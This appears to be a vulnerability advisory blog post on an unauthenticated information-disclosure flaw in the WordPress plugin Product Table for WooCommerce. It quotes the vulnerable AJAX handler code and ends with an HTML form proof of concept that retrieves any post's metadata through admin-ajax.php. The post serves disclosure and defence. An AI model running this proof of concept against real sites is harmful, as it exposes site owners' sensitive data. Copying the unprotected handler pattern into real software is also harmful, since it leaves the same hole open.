Insecurity of WordPress Plugin Product Table for WooCommerce Includes Information Disclosure Vulnerability
The most recent version of the WordPress plugin Product Table for WooCommerce had a very important security fix, though you wouldn’t know that by looking at the changelog for that version, as there isn’t one. Those relying on a couple of our competitors, WPScan and Patchstack, wouldn’t have a full understanding of that either, as they somehow managed to miss the full scope of a vulnerability being addressed.
Based on what we saw while reviewing the change being made, there was reason to believe there could be additional security issues in the plugin. We have confirmed that is the case and we would recommend not using the plugin, unless it has thorough security review and all issues are addressed.
One example of a vulnerabliity that currently exists in the plugin is that functionality that is intended to be able to export the configuration of the plugin’s product tables by those with access to plugin’s admin area. Instead of being limited to that, it allows even those not logged in to WordPress access to the metadata of things stored as post data type of WordPress, which could include sensitive data.
In the file /admin/functions.php, the plugin registers the function wpt_ajax_get_post_meta_base64() to be accessible through WordPress’ AJAX functionality to those logged in to WordPress as well as those not logged in:
176 177 | add_action( 'wp_ajax_wpt_set_post_meta', 'wpt_ajax_get_post_meta_base64' ); add_action( 'wp_ajax_nopriv_wpt_set_post_meta', 'wpt_ajax_get_post_meta_base64' ); |
That function will output the result of the POST input “post_id” being passed to the function wpt_get_base64_post_meta():
164 165 166 167 168 169 | function wpt_ajax_get_post_meta_base64(){ if( isset( $_POST['post_id'] ) && ! empty( $_POST['post_id'] ) && isset( $_POST['action'] ) == 'wpt_set_post_meta' ){ $post_id = sanitize_text_field( $_POST['post_id'] ); if( ! $post_id || ! is_numeric( $post_id ) ) echo ''; echo wpt_get_base64_post_meta( $post_id ); |
That second function will generate a base64 encoded copy of metadata for the post specified by the POST input “post_id” in the previous function:
75 76 77 78 79 80 81 82 83 84 85 86 87 88 | function wpt_get_base64_post_meta( $post_id ){ if( ! $post_id || ! is_numeric( $post_id ) ) return false; $meta = get_post_meta($post_id); unset($meta['_edit_lock']); unset($meta['_edit_last']); $meta = array_map('array_filter', $meta); $meta = array_filter($meta); $serialize_meta = serialize($meta); $base64_meta = base64_encode($serialize_meta); return $base64_meta; |
There is no restriction in that code on who has access and what type of post that can be used on.
WordPress Causes Full Disclosure
As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)
You can notify the developer of this issue on the forum as well.
Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept
The following proof of concept will output the base64 encoded version of the metadata for the post specified.
Replace “[path to WordPress]” with the location of WordPress and “[post_id]” with the ID of a post.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="wpt_set_post_meta" /> <input type="hidden" name="post_id" value="[post_id]" /> <input type="submit" value="Submit" /> </form> </body>